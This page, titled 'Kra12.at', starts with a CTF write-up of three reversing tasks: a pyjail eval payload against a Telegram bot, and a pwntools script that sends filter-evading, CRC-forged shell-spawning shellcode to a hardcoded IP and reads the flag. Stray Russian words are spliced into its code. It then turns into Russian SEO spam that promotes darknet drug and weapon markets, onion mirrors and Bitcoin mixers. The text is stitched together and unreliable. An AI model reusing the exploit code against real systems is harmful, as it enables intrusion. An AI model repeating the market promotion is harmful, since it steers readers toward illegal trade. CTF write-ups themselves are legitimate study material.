Kra12.at

This is my write-up for recent hack you spb CTF - a CTF for newbies. I guess I'm a bit older here ahaha.Reverse 100:#include <stdio.h>#include <string.h>int main() { char buf[64]; gets(buf); int l = strlen(buf); if (l * l!= 144) return 1; unsigned int a = buf[0] | (buf[4] << 8) | (buf[8] << 16); unsigned int b = buf[1] | (buf[5] << 8) | (buf[9] << 16); unsigned int c = buf[2] | (buf[6] << 8) | (buf[10] << 16); unsigned int d = buf[3] | (buf[7] << 8) | (buf[11] << 16); if (!(((a % 3571) == 2963) && (((a % 2843) == 215)) && (((a % 30243) == 13059)))) return 2; if (!(((b % 80735) == 51964) && (((b % 8681) == 2552)) && (((b % 40624) == 30931)))) return 3; if (!(((c % 99892) == 92228) && (((c % 45629) == 1080)) && (((c % 24497) == 12651)))) return 4; if (!(((d % 54750) == 26981) && (((d % 99627) == 79040)) && (((d % 84339) == 77510)))) return 5; printf("Congratulations %s is flag\n",buf); return 0;}First of all, I think about use something like z3, or any SAT that could give me the valid number. But россия z3 took a lot of time, so I decided to look deeper... Yes, you could finger out there is a pattern (x % number1 == number2), so you could apply Chinese remainder theorem to get a, b, c.Reverse 200:
This is a.pyc file, which is a file contain python byte-code. As usual, for byte-code relative problems, I search for some python byte-code decompiler and found pycdc.
After decompil, you should get something like this# Source Generated with Decompyle++# File: rev200_bot_7b541a1.pyc (Python 2.7)import configimport tracebackimport refrom base64 import *from twx.botapi import TelegramBot, ReplyKeyboardMarkup, ReplyKeyboardHidesec_state = { }def process_message(bot, u):Warning: Stack history is not empty! if u.message.sender and u.message.text and u.message.chat: chat_id = u.message.chat.id user = u.message.sender.username reply_hide = ReplyKeyboardHide.create() print 'user:%s mes:%s' % (user, u.message.text) if user not in sec_state: sec_state[user] = { 'mode': 15, 'stage': 7 } cmd1 = u.message.text.encode('utf-8') a = re.findall('(\\/\\w+)\\s*(.*)', cmd1) if a: cmd = a[0][0] data = a[0][1] if cmd == '/help': bot.send_message(chat_id, 'Usage: \n\n/help - show this help\n/enter - enter secret mode\n', reply_markup = reply_hide) if cmd == '/enter': keyboard = [ [ '-7-', '-8-', '-9-'], [ '-4-', '-5-', '-6-'], [ '-1-', '-2-', '-3-'], [ '-0-']] reply_markup = ReplyKeyboardMarkup.create(keyboard) bot.send_message(chat_id, 'please enter access code', reply_markup = reply_markup).wait() if sec_state[user]['mode'] == 0 and cmd == '/7779317': ddd = b64decode(data) bot.send_message(chat_id, eval(ddd)) a = re.findall('-(\\d+)-', cmd1) if a: num = a[0] if int(num) == sec_state[user]['stage']: sec_state[user]['stage'] = (sec_state[user]['stage'] * sec_state[user]['stage'] ^ 1337) % 10 sec_state[user]['mode'] = sec_state[user]['mode'] - 1 if sec_state[user]['mode'] < 0: sec_state[user]['mode'] = 0 if sec_state[user]['mode'] == 0: bot.send_message(chat_id, 'Secret mode enabled!', reply_markup = reply_hide).wait() else: print 'NO', num, sec_state[user]['stage'] bot.send_message(chat_id, 'Invalid password!', reply_markup = reply_hide).wait() sec_state[user]['mode'] = 15 bot = TelegramBot(config.token)bot.update_bot_info().wait()print bot.usernamelast_update_id = 0while True: updates = bot.get_updates(offset = last_update_id).wait() try: for update in updates: if int(update.update_id) > int(last_update_id): last_update_id = update.update_id process_message(bot, update) continue continue except Exception: ex = None print traceback.format_exc() continue So this is a kind of chat-bot server based on Telegram.
There is eval function inside, bot.send_message(chat_id, eval(ddd)), so I need to control ddd which is a base64 decoded string from data we sent. Before that, I need to enter Secret mode by enter correct access code (0-9).
First, set sec_state[user]['mode'] = 0; First time, stage init to 7, that changed everytime you press the correct key; But if I dont remember the stage, I still could find out by bruteforce from 0 to 9, if I didn't recv incorrect message that's mean I pressed the correct one; then by use the following script, I'm able to access secret area;#coding: utf-8sec_state = { }user = "A"sec_state[user] = {'mode': 15,'stage': 7 } # bruteforce numbersec_state[user]['mode'] = 15r макет = []while 1: num = sec_state[user]['stage'] r.append(num) print "-%d-" % num sec_state[user]['stage'] = (sec_state[user]['stage'] * sec_state[user]['stage'] ^ 1337) % 10 sec_state[user]['mode'] = sec_state[user]['mode'] - 1 if sec_state[user]['mode'] < 0: sec_state[user]['mode'] = 0 if sec_state[user]['mode'] == 0: breakprint sec_state[user]['mode']Next, this is a pyjail, so I can't execute normal python command...
So, final payload черный is `str(().__class__.__base__.__subclasses__()[40]("flag","r").read())`or `/7779317 c3RyKCgpLl9fY2xhc3NfXy5fX2Jhc2VfXy5fX3N1YmNsYXNzZXNfXygpWzQwXSgiZmxhZyIsInIiKS5yZWFkKCkp`Reverse 300:
Let's get some fun.let reverse this (or not?), look at handler (the main function)ssize_t __cdecl handler(int fd){ ssize_t result; // [email protected] unsigned int buf; // [sp+20h] [bp-18h]@1 int v3; // [sp+24h] [bp-14h]@1 char *v4; // [sp+28h] [bp-10h]@4 int v5; // [sp+2Ch] [bp-Ch]@4 buf = 0; setuid(0x3E8u); seteuid(0x3E8u); setgid(0x3E8u); setegid(0x3E8u); result = recv(fd, &buf, 4u, 0); v3 = result; if ( result == 4 ) { result = buf; if ( buf <= 0xC8 ) { v4 = (char *)mmap(0, buf, 7, 33, -1, 0); v3 = recv(fd, v4, buf, 0); result = crc32(0, v4, buf); v5 = result; if ( result == 0xCAFEBABE ) { result = filter(v4, buf) ^ 1; if (!(_BYTE)result ) result = ((int (*)(void))v4)(); } } } return result;}So the basic idea is make result == 0xCAFEBABE, so the program will execute v4 as shellcode (function pointer), but you also need to bypass the filter function - check if contain any of 0x0, 0x1, 0x2f, 0x68, 0x73 ( so I can't use sh in plaintext)then exit; So, I did the following step:1. Find a program that can make crc32 of my shellcode equal 0xCAFEBABE
2. Make a great shellcode and Bypass filter.
By search google for everything, the answer for problem 1 is force-crc32.
Currently I'm also trying to learn some binary exploit method, write a shellcode isn't hard (hint xor), but if there is any framework that's good enough as pwntools , you shoud try at least once.
Basicaly, I import pwns and let pwntools do the rest;from pwn import *import socket, struct, telnetlibdef getCRC(data): import subprocess with open('/tmp/12', 'wb') as f: f.write(data + "123456") subprocess.check_output(['python', 'forcecrc32.py', '/tmp/12', str(len(data)+1), 'CAFEBABE']) with open('/tmp/12', 'rb') as f: data = f.read() return datadef crc32(data):# recheck import zlib return (zlib.crc32(data)) & 0xffffffffd = ""d += asm(pwnlib.shellcraft.i386.linux.dup2(4,0))d += asm(pwnlib.shellcraft.i386.linux.dup2(4,1))# i need dup2 because the program use itself as serverd += asm(pwnlib.shellcraft.i386.linux.sh())fsc = pwnlib.encoders.encoder.encode(d, '\n\x01\0\x2f\x73\x68')print len(fsc)fsc = getCRC(fsc) # it didn't contain any blocked char, so i dont need to re-generate again.print hex(crc32(fsc))#yes, i love my custom socket lib 🙁s = socket.create_connection(("78.46.101.237", 3177))s.send(p32(len(fsc)))s.send(fsc)s.send("\n")s.send("cat flag*\n") print s.recv(1024)To be continued....Related

Kra12.at - Как открыть ссылку с кракена

Есть закрытые площадки типа russian anonymous marketplace, но на данный момент ramp russian anonymous marketplace уже более 3 месяцев не доступна из за ддос атак. Кратко и по делу в Telegram. Всегда читайте отзывы и будьте в курсе самого нового, иначе можно старь жертвой обмана. По слухам основной партнер и поставщик, а так же основная часть магазинов переехала на торговую биржу. После этого отзывы на russian anonymous marketplace стали слегка пугающими, так как развелось одно кидало и вышло много не красивых статей про админа, который начал активно кидать из за своей жадности. Подборка Обменников BetaChange (Telegram) Перейти. Ну и понятное дело, если ты зарабатывал 100 рублей в месяц, а потом твоя зарплата стала 5 рублей, а запросы остались прежние, ты начинаешь шевелить. Выбирайте любой понравившийся вам сайт, не останавливайтесь только на одном. Просто покидали народ в очередной раз, кстати такая тенденция длилась больше 3 лет. Три месяца назад основные магазины с биржи начали выкладывать информацию, что их жабберы угоняют, но самом деле это полный бред. Как попасть на russian anonymous marketplace? Как известно наши жизнь требует адреналина и новых ощущений, но как их получить, если многие вещи для получения таких ощущений запрещены. Именно по этому мы будет говорить о торговых сайтах, которые находятся в TOR сети и не подвластны блокировкам. Новая и биржа russian anonymous marketplace onion находится по ссылке Z, onion адрес можно найти в сети, что бы попасть нужно использовать ТОР Браузер. Загрузка. Подборка Marketplace-площадок by LegalRC Площадки постоянно атакуют друг друга, возможны долгие подключения и лаги. Пока не забыл сразу расскажу один подозрительный для меня факт про ramp marketplace. Сайт ramp russian anonymous marketplace находится по ссылке: ramp2idivg322d.onion. И постоянно предпринимают всевозможные попытки изменить ситуацию. Для того чтобы зайти в Даркнет через Browser, от пользователя требуется только две вещи: наличие установленного на компьютере или ноутбуке анонимного интернет-обозревателя. Onion - GoDaddy  хостинг сервис с удобной админкой и покупка доменов.onion sectum2xsx4y6z66.onion - Sectum  хостинг для картинок, фоток и тд, есть возможность создавать альбомы для зареганых пользователей. Конечно же, неотъемлемой частью любого хорошего сайта, а тем более великолепной Меге является форум. Кроме того, была пресечена деятельность 1345 интернет-ресурсов, посредством которых осуществлялась торговля наркотиками. Список ссылок обновляется раз в 24 часа. Новости, акции, конкурсы и другая важная информация для агентств и агентов. Низкие цены, удобный поиск, широкая география полетов по всему миру. В статье делаю обзорную экскурсию по облачному хранилищу - как загружать и делиться. Onion/ - Годнотаба  открытый сервис мониторинга годноты в сети TOR. Vabu56j2ep2rwv3b.onion - Russian cypherpunks community  Русское общество шифропанков в сети TOR. В сети существует два ресурса схожих по своей тематике с Гидрой, которые на данный момент заменили. 2 месяца назад я взломал устройство, с которого вы обычно выходите в сеть За это время пока я наблюдал за вами при помощи. Увидев, что не одиноки, почувствуете себя лучше. 6 источник не указан 849 дней В начале 2017 года сайт начал постоянно подвергаться ddos-атакам, пошли слухи об утечке базы данных с информацией о пользователях. Каждый день администрация ОМГ ОМГ работает над развитием их детища. Onion - O3mail  анонимный email сервис, известен, популярен, но имеет большой минус с виде обязательного JavaScript. Этот сайт упоминается в онлайн доске заметок Pinterest 0 раз. Одним из самых главных способов обхода страшной блокировки на сайте Меге это простое зеркало. Турбо-режимы браузеров и Google Переводчик Широко известны способы открытия заблокированных сайтов, которые не требуют установки специальных приложений и каких-либо настроек.

Отзывы Часто задаваемые вопросы Kramp в обход блокировки. Кроме этого выходные узлы Tor часто блокируются сайтами, которые им не доверяют. Итого: Средняя оценка:.3 / 5 Средняя оценка:.3 / 10). Рассмотрим даркнет-маркет в его обычном проявлении со стороны простого пользователя. Моменталки, круглосуточная поддержка! Возьмите фонарик, поскольку вы собираетесь углубиться в более темные части Интернета. После этого у вас будут сутки на то, что бы забрать купленный товар и закрыть сделку. Существует несколько уровней верификации: Starter. Представлено 4 варианта: «Простой» (Simple) обычная покупка/продажа, «Промежуточный» (Intermediate) с возможностью маржинального трейдинга, «Расширенный» (Advanced) можно использовать дополнительные возможности, а также «Трейдерский» (Charting Tools) работа на профессиональном терминале с максимальной функциональностью. Первая часть сделки приобретение цифрового актива за криптовалюту или фиат. Kraken будет не исключением из этого правила. Наркотические запрещенные вещества, сбыт и их продажа. Поддельные документы. Zcashph5mxqjjby2.onion - Zcash  сайтик криптовалютки, как bitcoin, но со своими причудами. Без верификации, с биржи Kraken можно выводить до 5000 в криптовалюте по курсу на день вывода. Тем не менее, когда дело доходит до безопасности, мало кто может конкурировать с Kraken. Positions история сделок по маржинальному трейдингу. Площадка kraken kraken БОТ Telegram Onion kraken Архива. Onion/ - 1-я Международнуя Биржа Информации Покупка и продажа различной информации за биткоины. За две недели моего пребывания на моих глазах умерло около 20 человек. Ближе к вечеру пришёл анестезиолог пообщаться, но, когда увидел, что с иногда сплевываю в стаканчик нечто коричневое и густое, резко вызвонил бригаду и меня взяли на стол. Onion Подробности про них вы можете узнать в нашей статье «Поисковики для Тор браузера». Если вам нужен простой и красивый интернет-магазин, с Кракеном вы можете существенно сэкономить на лицензии Битрикс. Продажа и покупка запрещенного оружия без лицензии, хранение и так далее. Дальше был эпичный перевод в дежурившее по городу отделение хирургии той же больницы. По сей день форум Wayaway существует, даже после перерыва с 2019 года и даже после того, как закрыли Гидру, вместо которой анонсирован новый даркнет-маркет kraken. Onion - Архива. Но также существуют и легальные проекты библиотеки, литературные журналы. #Kraken #Россия #санкции Криптовалютная биржа Kraken запретила пользователям из РФ регистрировать аккаунты, а также ограничила счета, «базирующиеся в России». В Москве с начала года в 3,6 раза выросло предложение жилья в аренду Недвижимость, 00:04. Onion/ - Autistici/Inventati, сервисы от гражданских активистов Италии, бесполезый ресурс, если вы не итальянец, наверное. Для его инсталляции выполните следующие шаги: Посетите страницу. То есть, чем больше сумма сделки тем меньше комиссия. Старокиевская, 10, а также по телефонам 380 (50 380 (93 380 (93 380 (97). Рублей и тюремный срок до восьми лет. Foggeddriztrcar2.onion - Bitcoin Fog  микс-сервис для очистки биткоинов, наиболее старый и проверенный, хотя кое-где попадаются отзывы, что это скам и очищенные биткоины так и не при приходят их владельцам. Onion имейл. Все актуальные ссылки вы можете получить на сайте Репост из: Даркнет форум России - WayAway (телеграм) Кракен - даркнет рынок (зеркала и onion. Onion - Bitcoin Blender  очередной биткоин-миксер, который перетасует ваши битки и никто не узнает, кто же отправил их вам. Vabu56j2ep2rwv3b.onion - Russian cypherpunks community  Русское общество шифропанков в сети TOR. Шаг 1: Установка Tor Browser Чтобы попасть на темную сторону интернета, нужно использовать специальный браузер.